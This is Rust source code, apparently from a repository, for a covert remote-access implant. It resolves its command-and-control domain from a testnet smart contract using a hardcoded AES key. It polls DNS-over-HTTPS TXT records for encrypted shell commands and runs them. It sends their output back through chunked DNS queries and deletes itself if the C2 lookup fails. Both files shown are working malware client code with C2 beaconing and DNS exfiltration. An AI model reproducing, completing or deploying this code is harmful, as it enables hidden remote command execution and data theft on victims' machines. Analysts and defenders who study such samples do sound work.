200 | let mut result = String::new();
201 |
202 |
203 | //dns_max = 200
204 | // dns_domain_name_size = len("domain") + 2
205 | // max_dns_data = dns_max - dns_domain_name_size
206 | // packet_order = 0
207 | // remaining_packets = (messageSize + max_dns_data - 1) / max_dns_data
208 | let dns_domain_max = 256;
209 | let label_max = 50;
210 | let max_labels = (dns_domain_max) / (label_max + 1); // +1 por causa do ponto entre os rótulos
211 | let max_dns_data = max_labels * label_max;
212 | let mut packet_order = 0;
213 |
214 | let remaining_packets = (messageSize + max_dns_data - 1) / max_dns_data;
215 |
216 | let mut iterator = 0;
217 |
218 | for (i, c) in base32Data.chars().enumerate() {
219 | result.push(c);
220 | if (result.len() == (maxDNSData - dnsdomainNameSize)){
221 | packetOrder += 1;
222 | let s = format!("-{}-{}-{}-k", packetOrder, result.len(), remaining_packets);
223 | result.push_str(&s);
224 | result.push('.');
225 | result.push_str(domain);
226 | lastPacket = 1;
227 | sendDnsRequest(&result);
228 | println!("DNS :: {}", &result);
229 | result.clear();
230 | iterator = 0;
231 | }
232 | if iterator % 50 == 0 && iterator != 0{
233 | result.push('.');
234 | }
235 | iterator += 1;
236 | }
237 | if lastPacket == 1 || result.len() < 255{
238 | packetOrder += 1;
239 | let s = format!("-{}-{}-{}-_", packetOrder, result.len(), remaining_packets);
240 | result.push_str(&s);
241 | result.push('.');
242 | result.push_str(domain);
243 | sendDnsRequest(&result);
244 | println!("DNS :: {}", &result);
245 | result.clear();
246 | lastPacket = 0;
247 | }
248 |
249 |
250 | }
251 |
252 | fn dnsRequestEncryptEncode<'a>(data: &str, enc_key: &Vec, iv: &[u8]) -> Vec {
253 |
254 | let mut encData:&[u8] = &mut data.as_bytes();
255 | let pos = data.len();
256 |
257 | let cipher = Aes128CfbEnc::new_from_slices(&enc_key, &iv).unwrap();
258 | let mut buffer = vec![0u8; encData.len() + 16];
259 | buffer[..encData.len()].copy_from_slice(encData);
260 |
261 | cipher.encrypt(&mut buffer);
262 |
263 | let mut result = Vec::new();
264 | result.extend(&iv.to_vec());
265 | result.extend(&buffer.to_vec());
266 |
267 | let mut testing = buffer;
268 | let decCipher = Aes128CfbDec::new_from_slices(&enc_key, &iv).unwrap();
269 | decCipher.decrypt(&mut testing);
270 |
271 | result
272 | }
273 |
274 | fn commandExec(public_key_hash: &str, domain: &str, aes_key: &str, private_key_internal: &RsaPrivateKey){
275 | let key = base32::decode(Alphabet::RFC4648 { padding: true }, aes_key).unwrap();
276 |
277 | let s: String = format!("2c|{}", public_key_hash);
278 | dnsRequestEncoder(domain, &s);
279 |
280 | let mut url = Url::parse("https://1.1.1.1/dns-query").unwrap();
281 | url.query_pairs_mut()
282 | .append_pair("name", &domain)
283 | .append_pair("type", "TXT");
284 | let client = reqwest::blocking::Client::new();
285 | let mut request = client.get(url.as_str()).header("accept", "application/dns-json").send();
286 | let mut response = request.unwrap();
287 | let mut data = response.text().unwrap();
288 |
289 | let commandVec = parseDNSTextEntry(&data);
290 | let commandDec = base32::decode(Alphabet::RFC4648 { padding: true }, &commandVec);
291 | match commandDec{
292 | Some(decValue) => {
293 | let str2Dec = std::str::from_utf8(&decValue).unwrap();
294 | let commandDec = base64::decode(&str2Dec);
295 |
296 | let commandDec: Vec = match commandDec {
297 | Ok(decoded) => {
298 | decoded
299 | }
300 | Err(err) => {
301 | Vec::new()
302 | }
303 | };
304 |
305 | if !commandDec.is_empty(){
306 | let iv = &commandDec[..16];
307 | let ciphertext = &commandDec[16..];
308 |
309 | let mut buf = ciphertext.to_vec();
310 |
311 | let cipher = Aes128CfbDec::new_from_slices(&key, &iv).unwrap();
312 | cipher.decrypt(&mut buf);
313 |
314 | let commandStrFinalParts = str::from_utf8(&buf[16..]).unwrap();
315 | let commandParts: Vec<&str> = commandStrFinalParts.split('|').collect();
316 | let commandToExec = commandParts.get(2).unwrap();
317 | let filtered_chars: String = commandToExec.chars().filter(|&c| !c.is_control()).collect();
318 |
319 | let mut execCmd = command(filtered_chars);
320 | execCmd.stdout(Stdio::piped());
321 | execCmd.stderr(Stdio::piped());
322 | let output = execCmd.execute_output();
323 |
324 | match output{
325 | Ok(out) => {
326 | let s: String = format!("2c|{}", public_key_hash);
327 | let data = format!("{}|{}", String::from_utf8_lossy(&out.stdout), String::from_utf8_lossy(&out.stderr));
328 |
329 |
330 | let encData = dnsRequestEncryptEncode(&data, &key, &iv);
331 | let encodedData = base64::encode(&encData);
332 | let max_payload = 1024 / 8 - 11;
333 |
334 | let fData = format!("{}|{}", s, encodedData);
335 | dnsRequestEncoder(domain, &fData);
336 | }
337 | Err(out) =>{
338 | let s: String = format!("2c|{}", public_key_hash);
339 | let data = format!("{}|", String::from_utf8_lossy(&out.to_string().as_bytes()));
340 |
341 | let encData = dnsRequestEncryptEncode(&data, &key, &iv);
342 | let encodedData = base64::encode(&encData);
343 | let max_payload = 1024 / 8 - 11;
344 |
345 | let fData = format!("{}|{}", s, encodedData);
346 |
347 | dnsRequestEncoder(domain, &fData);
348 | }
349 | }
350 | }
351 | }
352 |
353 | None => {
354 |
355 | }
356 | }
357 |
358 | }
359 |
360 | fn commandServerHandler(domain: &str, public_key_external: &RsaPublicKey, public_key_hash: &str, private_key_internal: &RsaPrivateKey){
361 | unsafe{
362 | if let Some(ref mutex) = SleepTime{
363 | while true{
364 | hint::spin_loop();
365 | let mut stime = mutex.lock().unwrap();
366 | let timeout = Duration::from_secs(*stime);
367 |
368 | let command = checkDNSTextEntry(&domain, &private_key_internal, &public_key_hash);
369 | core::arch::x86_64::_mm_mfence();
370 | if !command.is_empty(){
371 | match command.get(1).unwrap().as_str() {
372 | "s" => {
373 | let s: String = format!("s|{}", public_key_hash);
374 | println!("Called sleep! {}", &s);
375 | core::arch::x86_64::_mm_mfence();
376 | dnsRequestEncoder(domain, &s);
377 | *stime = command.get(2).unwrap().parse().unwrap();
378 | std::mem::drop(stime);
379 | },
380 | "m" => {
381 | println!("not implemented");
382 | },
383 | "l" => {
384 | println!("not implemented");
385 | },
386 | "c" => {
387 | println!("Command exec - g0t key:: {:?}", &command);
388 | commandExec(&public_key_hash, &domain, command.get(2).unwrap().as_str(), &private_key_internal);
389 | }
390 | _ => println!("not implemented"),
391 | }
392 | }
393 | //let seconds = timeout.as_secs() as i64;
394 | //let nanoseconds = timeout.subsec_nanos() as i64;
395 | //let ts = libc::timespec{
396 | // tv_sec: seconds,
397 | // tv_nsec: nanoseconds,
398 | // };
399 | // unsafe{
400 | /// let mut result: u64;
401 | // asm!(
402 | // "syscall",
403 | // in("rax") libc::SYS_nanosleep,
404 | // in("rdi") &ts as *const _,
405 | // in("rsi") std::ptr::null::(),
406 | // lateout("rax") result,
407 | // lateout("rcx") _,
408 | // lateout("r11") _,
409 | // options(nostack),
410 | // );
411 | // }
412 | // spinlock sleep
413 | let start = Instant::now();
414 | core::arch::x86_64::_mm_mfence();
415 | hint::spin_loop();
416 | while start.elapsed() < timeout {
417 | core::arch::x86_64::_mm_lfence();
418 | hint::spin_loop();
419 | }
420 |
421 | }
422 | }
423 | }
424 | }
425 |
426 | #[allow(unused_variables)]
427 | fn serverHandler(domain: &str, public_key_external: RsaPublicKey, public_key_hash: &str, private_key_internal: &RsaPrivateKey){
428 | unsafe {
429 | SleepTime = Some(Mutex::new(10)); // Default sleep time
430 | }
431 | let domain_clone = domain.to_string();
432 | let public_key_hash_clone = public_key_hash.to_string();
433 | let public_key_external_clone = public_key_external.clone();
434 | let private_key_clone = private_key_internal.clone();
435 |
436 | thread::spawn(move || {
437 | commandServerHandler(&domain_clone, &public_key_external_clone, &public_key_hash_clone, &private_key_clone);
438 | });
439 |
440 | // Dummy infinite sleep
441 | loop {
442 | let timeout = Duration::from_secs(1);
443 | let start = Instant::now();
444 | while start.elapsed() < timeout {}
445 | }
446 | }
447 |
448 | fn parseCertificate(response: &str) -> String{
449 | let re = Regex::new(r"(?<==)(.*?)\\").unwrap();
450 | let mut result = String::new();
451 |
452 | let mut captures_iter = re.captures_iter(response);
453 | for x in captures_iter{
454 | let mut data = x.unwrap().get(0).unwrap().as_str();
455 | data = data.trim_end_matches("\\");
456 | result.push_str(&data);
457 | }
458 | return result.clone()
459 | }
460 |
461 |
462 | fn generateKeyPair() -> (String, RsaPrivateKey){
463 | let mut rng = rand::thread_rng();
464 | let bits = 1024;
465 | let private_key_local = RsaPrivateKey::new(&mut rng, bits).unwrap();
466 | let public_key = RsaPublicKey::from(&private_key_local);
467 | let pubkey_der = public_key.to_public_key_der().unwrap();
468 | let pubkey_der_string = pubkey_der.to_pem("PUBLIC KEY", LineEnding::default()).unwrap();
469 | (pubkey_der_string, private_key_local)
470 |
471 | }
472 |
473 | fn handleKeyGeneration(domain: &str, serverPublicKey: &str) -> (String, RsaPrivateKey){
474 | let (pubkey, privkey) = generateKeyPair();
475 | let pubkeyBase32 = base32::encode(
476 | Alphabet::RFC4648 { padding: true },
477 | &pubkey.as_bytes()
478 | );
479 |
480 |
481 | let mut hasher = Sha256::new();
482 | hasher.update(serverPublicKey);
483 | let result = hasher.finalize();
484 |
485 | let serverPublicKeySha256: String = format!("{:x}", result);
486 | let s = format!("1|{}|{}", serverPublicKeySha256, pubkeyBase32);
487 | dnsRequestEncoder(domain, &s);
488 | (serverPublicKeySha256, privkey)
489 | }
490 |
491 | fn handleCertificate(domain: &str){
492 | let mut url = Url::parse("https://1.1.1.1/dns-query").unwrap();
493 | url.query_pairs_mut()
494 | .append_pair("name", &domain)
495 | .append_pair("type", "TXT");
496 | let client = reqwest::blocking::Client::new();
497 | let mut request = client.get(url.as_str()).header("accept", "application/dns-json").send();
498 | let mut response = request.unwrap();
499 | let mut data = response.text().unwrap();
500 | let mut result = String::new();
501 | result = parseCertificate(&data);
502 | let decoded_bytes = decode(
503 | Alphabet::RFC4648 { padding: true },
504 | &result
505 | ).unwrap();
506 | let public_key_external = Some(RsaPublicKey::from_public_key_pem(&String::from_utf8_lossy(&decoded_bytes)).unwrap());
507 | let (serverPublicKeySha256, privkey) = handleKeyGeneration(domain, std::str::from_utf8(&decoded_bytes).unwrap());
508 | serverHandler(domain, public_key_external.unwrap(), &serverPublicKeySha256, &privkey);
509 | let s = format!("2|{}", serverPublicKeySha256);
510 | dnsRequestEncoder(domain, &s);
511 | }
512 |
513 | fn handleContractKeccak(contractAddress: &str) -> String{
514 | // call RPC and interact with smart contract variable name (keccak)
515 | let timeout = Duration::from_secs(0);
516 | let start = Instant::now();
517 |
518 | let mut payload = String::from(r#"{"method": "eth_call","params": [{"from": "0x0000000000000000000000000000000000000000","to": "CONTRACTADDRESS","data": "KECCAKHERE"},"latest"],"id": 1,"jsonrpc": "2.0"}"#);
519 | let newPayload = payload.replace("CONTRACTADDRESS", contractAddress);
520 |
521 | let mut object: Value = serde_json::from_str(&newPayload).unwrap();
522 |
523 | let client = reqwest::blocking::Client::new();
524 | let mut request = client.post(TestnetRPC)
525 | .json(&object)
526 | .send();
527 |
528 | let response = request.unwrap().text().unwrap();
529 |
530 | let json_object = Json::from_str(&response).unwrap();
531 |
532 | match json_object.find("result") {
533 | Some(field) => {
534 | let name = field.as_string().unwrap();
535 | let testing = hex::decode(&name[2..]).unwrap();
536 | let testStr = str::from_utf8(&testing).unwrap().replace(",","");
537 | let testStr = &testStr.trim_matches('\x00')[32..];
538 |
539 | return testStr.to_string()
540 | },
541 | None => {
542 | "".to_string()
543 | }
544 | }
545 | }
546 |
547 | fn rpcInteract(addr: &str) -> String{
548 | let contractC2 = handleContractKeccak(addr);
549 | if contractC2 == ""{
550 | let path = std::env::current_exe().unwrap();
551 | fs::remove_file(&path).unwrap();
552 | process::exit(0);
553 | }
554 | let C2AESContent_b64dec = base64::decode(contractC2).unwrap();
555 | let key_dec = base64::decode(ContractKey).unwrap();
556 |
557 | let key = &key_dec[..];
558 |
559 | let iv = &C2AESContent_b64dec[..16];
560 | let message = &C2AESContent_b64dec[16..];
561 |
562 | let mut buf = message.to_vec();
563 |
564 | let cipher: cfb_mode::Decryptor = Aes128CfbDec::new_from_slices(&key, &iv).unwrap();
565 | cipher.decrypt(&mut buf);
566 |
567 | let mut domain = String::from_utf8(buf).unwrap();
568 | domain = domain.replace("\u{0001}", "");
569 | domain.to_string()
570 | }
571 |
572 | fn main() -> std::io::Result<()>{
573 |
574 | let mut stream = TcpStream::connect("STAGERADDRESS")?;
575 | let mut smartContractAddressBuffer= [0; 42];
576 |
577 | stream.write(&Hash.as_bytes())?;
578 | stream.read(&mut smartContractAddressBuffer)?;
579 | stream.shutdown(Shutdown::Both);
580 |
581 | let smartContractAddress = std::str::from_utf8(&smartContractAddressBuffer).unwrap().trim_matches(char::from(0));
582 | let rpcResponse = rpcInteract(smartContractAddress);
583 | if !rpcResponse.is_empty(){
584 | handleCertificate(&rpcResponse);
585 | }
586 | Ok(())
587 | }
588 |
--------------------------------------------------------------------------------
/migrate/src/main.rs:
--------------------------------------------------------------------------------
1 | use std::net::{TcpStream,Shutdown};
2 | use std::io::prelude::*;
3 | use std::io::Result;
4 | use ethers::prelude::*;
5 | use ethers::providers::{Http, Middleware, Provider};
6 | use std::str::FromStr;
7 | use web3::contract::{Contract, Options};
8 | use http::{Request, Response};
9 | use url::{Url, ParseError};
10 | use base64::{Engine as _, alphabet, engine::{self, general_purpose}};
11 | use hex_literal::hex;
12 | use generic_array::typenum::*;
13 | use std::process;
14 | use aes::Aes128;
15 | use aes::cipher::{
16 | BlockCipher, BlockEncrypt, BlockDecrypt,
17 | generic_array::GenericArray,
18 | };
19 |
20 | use block_modes::Cfb;
21 | use block_modes::block_padding::Pkcs7;
22 | use std::str;
23 | use std::error::Error;
24 | use std::env;
25 | use base32::{Alphabet, decode, encode};
26 | use rsa::{RsaPublicKey, PublicKey, RsaPrivateKey, Pkcs1v15Encrypt, pkcs8::DecodePublicKey, Oaep, pkcs8::EncodePublicKey, pkcs8::LineEnding};
27 | use sha2::{Sha256, Sha512, Digest};
28 | use block_modes::block_padding::ZeroPadding;
29 | use block_modes::{BlockMode, block_padding::Padding};
30 | type Aes128ECfb = Cfb;
31 | use core::arch::x86_64;
32 | static Hash: &str = "be7534055f1279b3df5f6d8397abe25e7d41d4cf9e24c1045d9bded4ebd971ca";
33 | static ContractKey: &str = "F+NEpSVY6P/KpzqAsMT/Fw==";
34 | static TestnetRPC: &str = "https://endpoints.omniatech.io/v1/matic/mumbai/public";
35 | use std::hint;
36 | use aes::NewBlockCipher;
37 | use fancy_regex::Regex;
38 |
39 | fn parseCertificate(response: &str) -> String{
40 | let re = Regex::new(r"(?<==)(.*?)\\").unwrap();
41 | let mut result = String::new();
42 |
43 | let mut captures_iter = re.captures_iter(response);
44 | for x in captures_iter{
45 | let mut data = x.unwrap().get(0).unwrap().as_str();
46 | data = data.trim_end_matches("\\");
47 | result.push_str(&data);
48 | }
49 | return result.clone()
50 |
51 | }
52 |
53 | static mut SleepTime: Option> = None;
54 |
55 | fn sendDnsRequest(domain: &str) -> Result<()>{
56 | let mut url = Url::parse("https://1.1.1.1/dns-query").unwrap();
57 | url.query_pairs_mut()
58 | .append_pair("name", domain)
59 | .append_pair("type", "A");
60 |
61 | let client = reqwest::blocking::Client::new();
62 |
63 | let mut request = client.get(url.as_str()).header("accept", "application/dns-json").send();
64 |
65 | let mut response = request.unwrap();
66 | let mut data = response.text().unwrap();
67 | Ok(())
68 | }
69 |
70 | fn dnsRequestEncoder(domain: &str, message: &String){
71 | let dnsMAX = 255;
72 | let dnsdomainNameSize = domain.len();
73 | let maxDNSData = dnsMAX - (dnsdomainNameSize + 10);
74 | let mut packetOrder = 0;
75 | let base32Data = base32::encode(
76 | Alphabet::RFC4648 { padding: true },
77 | &message.as_bytes()
78 | );
79 | println!("Complete: {}", &base32Data);
80 | let messageSize = base32Data.len();
81 | let mut messageRemainSize = (messageSize / maxDNSData);
82 | let mut lastPacket = 0;
83 |
84 |
85 | let mut result = String::new();
86 |
87 |
88 |
89 | //dns_max = 200
90 | // dns_domain_name_size = len("domain") + 2
91 | // max_dns_data = dns_max - dns_domain_name_size
92 | // packet_order = 0
93 | // remaining_packets = (messageSize + max_dns_data - 1) / max_dns_data
94 | let dns_domain_max = 256;
95 | let label_max = 50;
96 | let max_labels = (dns_domain_max) / (label_max + 1); // +1 por causa do ponto entre os rótulos
97 | let max_dns_data = max_labels * label_max;
98 | let mut packet_order = 0;
99 |
100 | let remaining_packets = (messageSize + max_dns_data - 1) / max_dns_data;
101 |
102 | let mut iterator = 0;
103 |
104 | for (i, c) in base32Data.chars().enumerate() {
105 | result.push(c);
106 | if (result.len() == (maxDNSData - dnsdomainNameSize)){
107 | packetOrder += 1;
108 | let s = format!("-{}-{}-{}-k", packetOrder, result.len(), remaining_packets);
109 | result.push_str(&s);
110 | result.push('.');
111 | result.push_str(domain);
112 | lastPacket = 1;
113 | sendDnsRequest(&result);
114 | println!("DNS :: {}", &result);
115 | result.clear();
116 | iterator = 0;
117 | }
118 | if iterator % 50 == 0 && iterator != 0{
119 | result.push('.');
120 | }
121 | iterator += 1;
122 | }
123 | if lastPacket == 1 || result.len() < 255{
124 | packetOrder += 1;
125 | let s = format!("-{}-{}-{}-_", packetOrder, result.len(), remaining_packets);
126 | result.push_str(&s);
127 | result.push('.');
128 | result.push_str(domain);
129 | sendDnsRequest(&result);
130 | println!("DNS :: {}", &result);
131 | result.clear();
132 | lastPacket = 0;
133 | }
134 |
135 |
136 | }
137 | use std::sync::Mutex;
138 | use lazy_static::lazy_static;
139 |
140 |
141 |
142 | fn generateKeyPair() -> (String, RsaPrivateKey){
143 | let mut rng = rand::thread_rng();
144 | let bits = 1024;
145 | let private_key_local = RsaPrivateKey::new(&mut rng, bits).unwrap();
146 | let public_key = RsaPublicKey::from(&private_key_local);
147 | let pubkey_der = public_key.to_public_key_der().unwrap();
148 | let pubkey_der_string = pubkey_der.to_pem("PUBLIC KEY", LineEnding::default()).unwrap();
149 | (pubkey_der_string, private_key_local)
150 |
151 | }
152 |
153 | // generate RSA keypair and send public key to C2 over DoH
154 | fn handleKeyGeneration(domain: &str, serverPublicKey: &str) -> (String, RsaPrivateKey){
155 | let (pubkey, privkey) = generateKeyPair();
156 | let pubkeyBase32 = base32::encode(
157 | Alphabet::RFC4648 { padding: true },
158 | &pubkey.as_bytes()
159 | );
160 |
161 | println!("Key :: {}", pubkeyBase32);
162 |
163 | let mut hasher = Sha256::new();
164 | hasher.update(serverPublicKey);
165 | let result = hasher.finalize();
166 |
167 | let serverPublicKeySha256: String = format!("{:x}", result);
168 | let s = format!("1|{}|{}", serverPublicKeySha256, pubkeyBase32);
169 | println!("Request :: {}", &s);
170 | dnsRequestEncoder(domain, &s);
171 | (serverPublicKeySha256, privkey)
172 | }
173 | use std::{thread, time};
174 |
175 | fn parseDNSTextEntry(response: &str) -> String{
176 | //println!("Parsing {}", &response);
177 | let re = Regex::new(r"(?<=dv=)(.*?)\\").unwrap();
178 | let mut result = String::new();
179 |
180 | let mut captures_iter = re.captures_iter(response);
181 | for x in captures_iter{
182 | let mut data = x.unwrap().get(0).unwrap().as_str();
183 | data = data.trim_end_matches("\\");
184 | result.push_str(&data);
185 | }
186 |
187 | if result.is_empty(){
188 | let re = Regex::new(r"(?<=xv=)(.*?)\\").unwrap();
189 | let mut result = String::new();
190 |
191 | let mut captures_iter = re.captures_iter(response);
192 | for x in captures_iter{
193 | let mut data = x.unwrap().get(0).unwrap().as_str();
194 | data = data.trim_end_matches("\\");
195 | result.push_str(&data);
196 | }
197 | return result.clone()
198 |
199 | }
200 | return result.clone()
201 | }
202 |
203 | fn is_base32(s: &str) -> bool {
204 | let decode = base32::decode(Alphabet::RFC4648 { padding: true }, s);
205 | if decode.is_some(){
206 | return true
207 | }
208 | if decode.is_none(){
209 | return false
210 | }
211 | return false
212 | }
213 |
214 | fn checkDNSTextEntry<'a>(domain: &str, private_key_internal: &RsaPrivateKey, public_key_hash: &str) -> Vec{
215 | let mFormat: String = format!("2|{}", public_key_hash);
216 | let base32Data = base32::encode(
217 | Alphabet::RFC4648 { padding: true },
218 | &mFormat.as_bytes()
219 | );
220 | let dnsMAX = 255;
221 | let dnsdomainNameSize = domain.len();
222 | let maxDNSData = dnsMAX - dnsdomainNameSize;
223 | let mut packetOrder = 0;
224 | let messageSize = base32Data.len();
225 | let mut messageRemainSize = messageSize;
226 | let mut lastPacket = 0;
227 | let mut result = String::new();
228 |
229 | for (i, c) in base32Data.chars().enumerate() {
230 | if i % 61 == 0 && i != 0{
231 | result.push('.');
232 | }
233 | if (result.len() >= (maxDNSData - dnsdomainNameSize)){
234 | packetOrder += 1;
235 | let s = format!("-{}-{}-kkdc", packetOrder, result.len());
236 | result.push_str(&s);
237 | result.push('.');
238 | result.push_str(domain);
239 | lastPacket = 1;
240 | }
241 | result.push(c);
242 | }
243 | if lastPacket == 1 || result.len() < 255{
244 | packetOrder += 1;
245 | let s = format!("-{}-{}-_", packetOrder, result.len());
246 | result.push_str(&s);
247 | result.push('.');
248 | result.push_str(domain);
249 | lastPacket = 0;
250 | }
251 |
252 |
253 | let mut url = Url::parse("https://1.1.1.1/dns-query").unwrap();
254 | url.query_pairs_mut()
255 | .append_pair("name", &result)
256 | .append_pair("type", "TXT");
257 | let client = reqwest::blocking::Client::new();
258 | let mut request = client.get(url.as_str()).header("accept", "application/dns-json").send();
259 | let mut response = request.unwrap();
260 | let mut data = response.text().unwrap();
261 |
262 | result.clear();
263 |
264 | let mut ndata = parseDNSTextEntry(&data);
265 |
266 | let bFlag = is_base32(&ndata);
267 | if bFlag == false{
268 | // println!("Data :: {}",&ndata);
269 | let commandDecoded = &base64::decode(ndata).unwrap();
270 | let padding = Oaep::new::();
271 | let dec_data = private_key_internal.decrypt(padding, &commandDecoded);
272 | match dec_data{
273 | Ok(dec_data) =>{
274 | let utf_data = String::from_utf8(dec_data).unwrap();
275 | let new_string: String = utf_data.to_owned();
276 | let parts: Vec = new_string.split('|').map(|s| s.to_string()).collect();
277 | return parts;
278 | }
279 | Err(err)=>{
280 | println!("Error! {}", err);
281 | return vec![]
282 | }
283 | }
284 | }
285 | ndata.clear();
286 | return vec![];
287 | }
288 |
289 | fn migrateProcessToPID(procPID: &str) -> &str{
290 | return procPID;
291 | }
292 |
293 | fn listRunningProcesses(){
294 | println!("Listing running processes...");
295 | }
296 |
297 | use std::process::{Command, Stdio};
298 |
299 | use execute::{Execute, command};
300 |
301 |
302 | // fix me! maximum message size for RSA OAEP is 190 bytes!
303 | // split the message and sent!
304 |
305 |
306 |
307 | // fix this shit! dont work + shit + stupid + shit
308 | // fix this shit rn!
309 |
310 | type Aes128CfbEnc = cfb_mode::Encryptor;
311 | type Aes128CfbDec = cfb_mode::Decryptor;
312 |
313 | fn dnsRequestEncryptEncode<'a>(data: &str, enc_key: &Vec, iv: &[u8]) -> Vec {
314 |
315 | let mut encData:&[u8] = &mut data.as_bytes();
316 | let pos = data.len();
317 |
318 | println!("Using IV {:?} for encription {} | key {:?}\n", &iv, &iv.len(), &enc_key);
319 |
320 | let cipher = Cfb::::new_from_slices(&enc_key, &iv).unwrap();
321 | // let mut ciphertext = encData.to_vec();
322 | let mut buffer = vec![0u8; encData.len() + 16];
323 | buffer[..encData.len()].copy_from_slice(encData);
324 |
325 | let ciphertext = cipher.encrypt(&mut buffer, pos).unwrap();
326 | // cipher.encrypt(&mut ciphertext, pos).unwrap();
327 | let mut result = Vec::new();
328 | result.extend(&iv.to_vec());
329 | result.extend(&ciphertext.to_vec());
330 | println!("Encrypted! {:?}",&result);
331 | result
332 | }
333 |
334 | fn commandExec(public_key_hash: &str, domain: &str, aes_key: &str, private_key_internal: &RsaPrivateKey){
335 | let key = base32::decode(Alphabet::RFC4648 { padding: true }, aes_key).unwrap();
336 | println!("Key :: {:?}", &key);
337 |
338 | let s: String = format!("2c|{}", public_key_hash);
339 | dnsRequestEncoder(domain, &s);
340 |
341 | let mut url = Url::parse("https://1.1.1.1/dns-query").unwrap();
342 | url.query_pairs_mut()
343 | .append_pair("name", &domain)
344 | .append_pair("type", "TXT");
345 | let client = reqwest::blocking::Client::new();
346 | let mut request = client.get(url.as_str()).header("accept", "application/dns-json").send();
347 | let mut response = request.unwrap();
348 | let mut data = response.text().unwrap();
349 |
350 | let commandVec = parseDNSTextEntry(&data);
351 |
352 | // println!("Read from TXT :: {:?}", &commandVec);
353 | let commandDec = base32::decode(Alphabet::RFC4648 { padding: true }, &commandVec).unwrap();
354 | let str2Dec = std::str::from_utf8(&commandDec).unwrap();
355 | println!("test {}", &str2Dec);
356 |
357 | let commandDec = base64::decode(&str2Dec);
358 |
359 | let commandDec: Vec = match commandDec {
360 | Ok(decoded) => {
361 | decoded
362 | }
363 | Err(err) => {
364 | println!("Erro na decodificação: {:?}", err);
365 | Vec::new()
366 | }
367 | };
368 |
369 | if !commandDec.is_empty(){
370 | let iv = &commandDec[..16];
371 | let ciphertext = &commandDec[16..];
372 |
373 | println!("IV : {:?} | Ciphertext: {:?} | Key :: {:?}", &iv, &ciphertext, &key);
374 |
375 | let mut buf = ciphertext.to_vec();
376 |
377 | let cipher = Aes128ECfb::new_from_slices(&key, &iv).unwrap();
378 | let decrypted_ciphertext = cipher.decrypt(&mut buf).unwrap();
379 |
380 | let commandStrFinalParts = str::from_utf8(&decrypted_ciphertext[16..]).unwrap();
381 | let commandParts: Vec<&str> = commandStrFinalParts.split('|').collect();
382 |
383 | let commandToExec = commandParts.get(2).unwrap();
384 |
385 | println!("Command:: {}", &commandToExec);
386 |
387 |
388 | //println!("Executing command! {}", commandStr);
389 | let mut execCmd = command(commandToExec);
390 | execCmd.stdout(Stdio::piped());
391 | execCmd.stderr(Stdio::piped());
392 | let output = execCmd.execute_output().unwrap();
393 |
394 | let s: String = format!("2c|{}", public_key_hash);
395 | let data = format!("{}|{}", String::from_utf8_lossy(&output.stdout), String::from_utf8_lossy(&output.stderr));
396 |
397 | let encData = dnsRequestEncryptEncode(&data, &key, &iv);
398 | let encodedData = base64::encode(&encData);
399 |
400 | let fData = format!("{}|{}", s, encodedData);
401 |
402 | println!("Sending... {}", &fData);
403 | dnsRequestEncoder(domain, &fData);
404 | }
405 | }
406 |
407 |
408 | use std::thread::park_timeout;
409 | use std::time::{Instant};
410 | use std::arch::asm;
411 | fn commandServerHandler(domain: &str, public_key_external: &RsaPublicKey, public_key_hash: &str, private_key_internal: &RsaPrivateKey){
412 | unsafe{
413 | if let Some(ref mutex) = SleepTime{
414 | while true{
415 | hint::spin_loop();
416 | let mut stime = mutex.lock().unwrap();
417 | let timeout = Duration::from_secs(*stime);
418 |
419 | let command = checkDNSTextEntry(&domain, &private_key_internal, &public_key_hash);
420 | core::arch::x86_64::_mm_mfence();
421 | if !command.is_empty(){
422 | match command.get(1).unwrap().as_str() {
423 | "a" => println!("o segundo elemento é um!"),
424 | "s" => {
425 | let s: String = format!("s|{}", public_key_hash);
426 | core::arch::x86_64::_mm_mfence();
427 | dnsRequestEncoder(domain, &s);
428 | // println!("Data :: {}", command.get(2).unwrap().as_str());
429 | *stime = command.get(2).unwrap().parse().unwrap();
430 | std::mem::drop(stime);
431 | }
432 | "x" => println!("o segundo elemento é três!"),
433 | "m" => {
434 | migrateProcessToPID(command.get(2).unwrap().as_str());
435 | },
436 | "l" => {
437 | listRunningProcesses();
438 | },
439 | "c" => {
440 | println!("Data - all :: {:?}", &command);
441 | // commandExec(public_key_hash: &str, domain: &str, aes_key: &str, private_key_internal: &RsaPrivateKey)
442 | commandExec(&public_key_hash, &domain, command.get(2).unwrap().as_str(), &private_key_internal);
443 | }
444 | _ => println!("o segundo elemento não é válido!"),
445 | }
446 | }
447 |
448 | //let seconds = timeout.as_secs() as i64;
449 | //let nanoseconds = timeout.subsec_nanos() as i64;
450 | //let ts = libc::timespec{
451 | // tv_sec: seconds,
452 | // tv_nsec: nanoseconds,
453 | // };
454 | // unsafe{
455 | /// let mut result: u64;
456 | // asm!(
457 | // "syscall",
458 | // in("rax") libc::SYS_nanosleep,
459 | // in("rdi") &ts as *const _,
460 | // in("rsi") std::ptr::null::(),
461 | // lateout("rax") result,
462 | // lateout("rcx") _,
463 | // lateout("r11") _,
464 | // options(nostack),
465 | // );
466 | // }
467 | // spinlock sleep
468 | let start = Instant::now();
469 | core::arch::x86_64::_mm_mfence();
470 | hint::spin_loop();
471 | while start.elapsed() < timeout {
472 | unsafe{
473 | core::arch::x86_64::_mm_lfence();
474 | hint::spin_loop();
475 | //unsafe {
476 | //asm!(
477 | // "nop",
478 | //);
479 | }
480 | }
481 |
482 | }
483 | }
484 | }
485 | }
486 |
487 |
488 | use std::time::Duration;
489 | #[allow(unused_variables)]
490 | fn serverHandler(domain: &str, public_key_external: RsaPublicKey, public_key_hash: &str, private_key_internal: &RsaPrivateKey){
491 | unsafe {
492 | SleepTime = Some(Mutex::new(10)); // Default sleep time
493 | }
494 | let domain_clone = domain.to_string();
495 | let public_key_hash_clone = public_key_hash.to_string();
496 | let public_key_external_clone = public_key_external.clone();
497 | let private_key_clone = private_key_internal.clone();
498 |
499 | thread::spawn(move || {
500 | commandServerHandler(&domain_clone, &public_key_external_clone, &public_key_hash_clone, &private_key_clone);
501 | });
502 |
503 | // Dummy infinite sleep
504 | loop {
505 | let timeout = Duration::from_secs(1);
506 | let start = Instant::now();
507 | while start.elapsed() < timeout {}
508 | }
509 | }
510 |
511 |
512 | fn handleCertificate(domain: &str) -> Result<()>{
513 | let mut url = Url::parse("https://1.1.1.1/dns-query").unwrap();
514 | url.query_pairs_mut()
515 | .append_pair("name", domain)
516 | .append_pair("type", "TXT");
517 |
518 | let client = reqwest::blocking::Client::new();
519 |
520 | let mut request = client.get(url.as_str()).header("accept", "application/dns-json").send();
521 |
522 | let mut response = request.unwrap();
523 | let mut data = response.text().unwrap();
524 |
